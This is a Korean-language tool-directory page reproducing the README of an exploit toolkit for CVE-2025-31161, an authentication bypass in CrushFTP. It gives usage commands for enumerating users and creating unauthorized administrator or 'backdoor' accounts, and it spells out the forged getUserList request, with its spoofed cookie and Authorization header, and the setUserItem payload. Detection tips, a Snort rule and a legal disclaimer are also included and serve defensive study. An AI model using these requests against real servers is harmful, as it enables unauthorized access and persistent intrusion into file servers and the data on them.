Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CrushFTP-auth-bypass-CVE-2025-31161 — CVE-2025-31161 (CrushFTP의 인증 우회)를 위한 다국어 익스플로잇 툴킷입니다. 허가된 보안 테스트 및 CTF 챌린지를 위해 취약점 탐지, 사용자 열거, 비인가 관리자 계정 생성을 지원합니다. | Kitploit
도구/GitHubGitHub/0xdtc/crushftp-auth-bypass-cve-2025-31161
Authentication & AuthorizationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & Education

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Red Teaming
GitHub0xdtc/crushftp-auth-bypass-cve-2025-31161

CrushFTP-auth-bypass-CVE-2025-31161

CVE-2025-31161 (CrushFTP의 인증 우회)를 위한 다국어 익스플로잇 툴킷입니다. 허가된 보안 테스트 및 CTF 챌린지를 위해 취약점 탐지, 사용자 열거, 비인가 관리자 계정 생성을 지원합니다.

저장소 보기
10개월 전아직 검토되지 않음

CrushFTP 인증 우회 - CVE-2025-31161

License: MIT CVE Go Bash

CVE-2025-31161을 악용하기 위한 종합 툴킷입니다. CrushFTP의 인증 우회 취약점으로, 인증되지 않은 사용자 계정 생성을 허용합니다.

🔍 CVE-2025-31161이란?

CVE-2025-31161은 CrushFTP의 치명적인 인증 우회 취약점으로, 공격자가 적절한 인증 없이 승인되지 않은 사용자 계정을 생성할 수 있습니다. 이 취약점은 웹 인터페이스의 사용자 관리 기능에 존재합니다.

기술 세부 사항

  • CVSS 점수: TBD
  • 영향받는 소프트웨어: CrushFTP 웹 인터페이스
  • 공격 벡터: 네트워크
  • 필요한 인증: 없음
  • 영향: 인증되지 않은 계정 생성을 통한 완전한 시스템 손상

🚀 기능

  • 다중 언어 지원: Go 및 Bash 구현
  • 스마트 취약점 탐지: 악용 전에 대상이 취약한지 자동으로 확인
  • 사용자 열거: 취약한 대상의 기존 사용자 목록 보기
  • 사용자 생성: 새로운 관리자 계정 생성
  • 대화형 모드: 대상이 취약한 것으로 확인된 경우에만 자격 증명 입력 요청
  • 단축 플래그: -t, -p, -tu 플래그로 빠른 접근
  • 사용자 지정 포트 지원: 다양한 배포 시나리오를 위한 포트 구성 가능
  • 교육 중심: CTF 챌린지 및 보안 연구를 위해 설계됨

📁 저장소 구조

root@kitploit:~
CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md                 # 이 문서
├── cve-2025-31161.go        # Go 구현 (권장)
├── cve-2025-31161.sh        # Bash 구현
└── LICENSE                  # MIT 라이선스

🛠️ 설치 및 요구 사항

전제 조건

Go 버전 (권장)

root@kitploit:~
# Go 설치 (아직 설치되지 않은 경우)
sudo apt install golang-go
# 또는
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

Bash 버전

root@kitploit:~
# curl 필요 (보통 사전 설치됨)
sudo apt install curl

빠른 설정

root@kitploit:~
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh

🎯 사용법

Go 버전 (권장)

사용자 목록 보기

root@kitploit:~
# 단축 플래그를 사용한 기본 사용법
go run cve-2025-31161.go -t example.com -lu

# 사용자 지정 포트 사용
go run cve-2025-31161.go -t example.com -p 8080 -lu

# 긴 형식 플래그
go run cve-2025-31161.go --target_host example.com --port 8080 -lu

새 사용자 추가

root@kitploit:~
# 새 사용자 생성 (사용자 이름/비밀번호 입력 요청)
go run cve-2025-31161.go -t example.com -au

# 사용자 지정 대상 사용자 (기본값: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au

# 긴 형식 플래그
go run cve-2025-31161.go --target_host example.com --target_user admin -au

Bash 버전

사용자 목록 보기

root@kitploit:~
# 기본 사용법
./cve-2025-31161.sh -t example.com -lu

# 사용자 지정 포트 사용
./cve-2025-31161.sh -t example.com -p 8080 -lu

새 사용자 추가

root@kitploit:~
# 새 사용자 생성
./cve-2025-31161.sh -t example.com -au

# 사용자 지정 설정
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au

사용 가능한 플래그

사용 예시

root@kitploit:~
# 예시 1: 대상의 사용자 열거
go run cve-2025-31161.go -t ftp.example.htb -lu

# 예시 2: 백도어 계정 생성
go run cve-2025-31161.go -t ftp.example.htb -au
# 그런 다음 입력: username: backdoor, password: P@ssw0rd123

# 예시 3: 비표준 포트로 사용자 열거
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu

# 도움말 보기
./cve-2025-31161.sh --help

🔄 작동 방식

root@kitploit:~
flowchart TD
    A[Start Exploit] --> B[Check Target Connectivity]
    B --> C{Target Reachable?}
    C -->|No| D[Exit: Connection Failed]
    C -->|Yes| E[Send getUserList Request]
    E --> F{Response Contains OK?}
    F -->|No| G[Exit: Not Vulnerable]
    F -->|Yes| H[Target is Vulnerable!]
    H --> I{Mode Selected?}
    I -->|List Users -lu| J[Parse XML Response]
    J --> K[Display User List]
    K --> L[Exit: Success]
    I -->|Add User -au| M[Prompt for Username]
    M --> N[Prompt for Password]
    N --> O[Send Warm-up Request]
    O --> P[Craft User Creation Payload]
    P --> Q[Send setUserItem Request]
    Q --> R{User Created Successfully?}
    R -->|Yes| S[Success: Account Created]
    R -->|No| T[Failed: Exploitation Failed]

    style A fill:#e1f5fe
    style H fill:#c8e6c9
    style K fill:#81c784
    style S fill:#4caf50
    style D fill:#ffcdd2
    style G fill:#ffcdd2
    style T fill:#ffcdd2

🧪 악용 흐름 설명

1단계: 취약점 탐지

스크립트는 먼저 getUserList 요청을 보내 대상이 취약한지 확인합니다:

root@kitploit:~
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

응답에 <response_status>OK</response_status>가 포함되면 대상이 취약한 것입니다.

2a단계: 사용자 열거 (사용자 목록 모드)

-lu 플래그를 사용하면 스크립트가 XML 응답을 파싱하여 사용자 이름을 추출합니다:

root@kitploit:~
<user_list type="vector">
    <user_list_subitem>ben</user_list_subitem>
    <user_list_subitem>crushadmin</user_list_subitem>
    <user_list_subitem>default</user_list_subitem>
</user_list>

출력:

root@kitploit:~
[+] 사용자:
  - ben
  - crushadmin
  - default

2b단계: 사용자 계정 생성 (사용자 추가 모드)

-au 플래그를 사용하면 스크립트가 악성 XML 페이로드와 함께 setUserItem 요청을 보냅니다:

root@kitploit:~
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If

3단계: 확인

스크립트는 응답에 <response_status>OK</response_status>가 있는지 확인하여 사용자 생성 성공을 확인합니다.


⚠️ 취약점 세부 정보

근본 원인

이 취약점은 CrushFTP 웹 인터페이스의 사용자 관리 기능에서 인증 검사가 충분하지 않아 발생합니다. 애플리케이션이 호출자의 권한을 적절히 검증하지 않고 사용자 생성 요청을 수락합니다.

영향 평가

  • 기밀성: 높음 - 파일 시스템에 대한 무단 접근
  • 무결성: 높음 - 파일 수정/업로드 가능
  • 가용성: 중간 - 리소스 고갈 가능성

공격 시나리오

  1. 초기 접근: 지속적인 접근을 위한 백도어 계정 생성
  2. 권한 상승: 관리자 수준의 계정 생성
  3. 데이터 유출: FTP 인터페이스를 통한 민감 파일 접근
  4. 수평 이동: 손상된 FTP 서버를 발판으로 활용

🛡️ 탐지 및 완화

탐지 방법

  • 웹 로그에서 비정상적인 setUserItem 요청 모니터링
  • 정상 프로세스 외부에서 생성된 새 사용자 계정 확인
  • 인증 우회 패턴에 대한 이상 탐지 구현

완화 전략

  1. 즉시: /webinterface/function/ 엔드포인트에 대한 접근 차단
  2. 단기: 패치된 CrushFTP 버전으로 업데이트
  3. 장기: 적절한 인증 제어 구현

네트워크 시그니처

root@kitploit:~
# Snort/Suricata 규칙 예시
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)

🎓 교육적 사용 사례

CTF 시나리오

  • 웹 애플리케이션 보안: 인증 우회 취약점 이해
  • 침투 테스트: 실제 악용 기술 시연
  • 레드 팀 연습: APT 스타일 공격 시뮬레이션

학습 목표

  • HTTP 요청 조작 이해
  • XML 인젝션 기술
  • 인증 우회 방법론
  • 다중 언어 익스플로잇 개발

🚨 법적 고지

⚠️ 중요: 이 도구는 다음 용도로 설계되었습니다:

  • 교육 목적
  • 승인된 침투 테스트
  • CTF 대회
  • 통제된 환경에서의 보안 연구

명시적 서면 허가 없이 시스템에 사용하지 마십시오. 무단 컴퓨터 시스템 접근은 불법이며 심각한 법적 결과를 초래할 수 있습니다.

🤝 기여

기여를 환영합니다! 다음 단계를 따르세요:

  1. 저장소를 포크합니다.
  2. 기능 브랜치를 만듭니다 (git checkout -b feature/improvement).
  3. 변경 사항을 커밋합니다 (git commit -am 'Add new feature').
  4. 브랜치에 푸시합니다 (git push origin feature/improvement).
  5. 풀 리퀘스트를 생성합니다.

개발 지침

  • 기존 코드 스타일을 따르세요.
  • 포괄적인 주석을 추가하세요.
  • 여러 대상 환경에서 테스트하세요.
  • 새 기능에 대한 문서를 업데이트하세요.

📝 버전 기록

버전날짜변경 사항
1.0.02025-01-XXGo 및 Bash 구현으로 첫 릴리스
1.1.02025-01-XX대화형 모드 및 취약점 탐지
1.2.02025-10-02사용자 열거(-lu) 추가, 별도의 사용자 추가 모드(-au), 단축 플래그(-t, -p, -tu) 추가

📚 참고 자료

  • CVE-2025-31161 세부 정보
  • CrushFTP 공식 웹사이트
  • OWASP 인증 우회
  • Immersive Labs의 원본 연구

📧 연락처

질문, 제안 또는 보안 문제가 있으면 이 저장소에 이슈를 열어 주세요.

도구 다운로드
플래그긴 형식설명기본값
-t--target_host대상 호스트명 또는 IP (필수)-
-p--port대상 포트80
-tu--target_user악용에 사용할 대상 사용자crushadmin
-lu--list-users기존 사용자 목록 보기-
-au--add-user새 사용자 추가 (대화형)-
--help도움말 메시지 보기-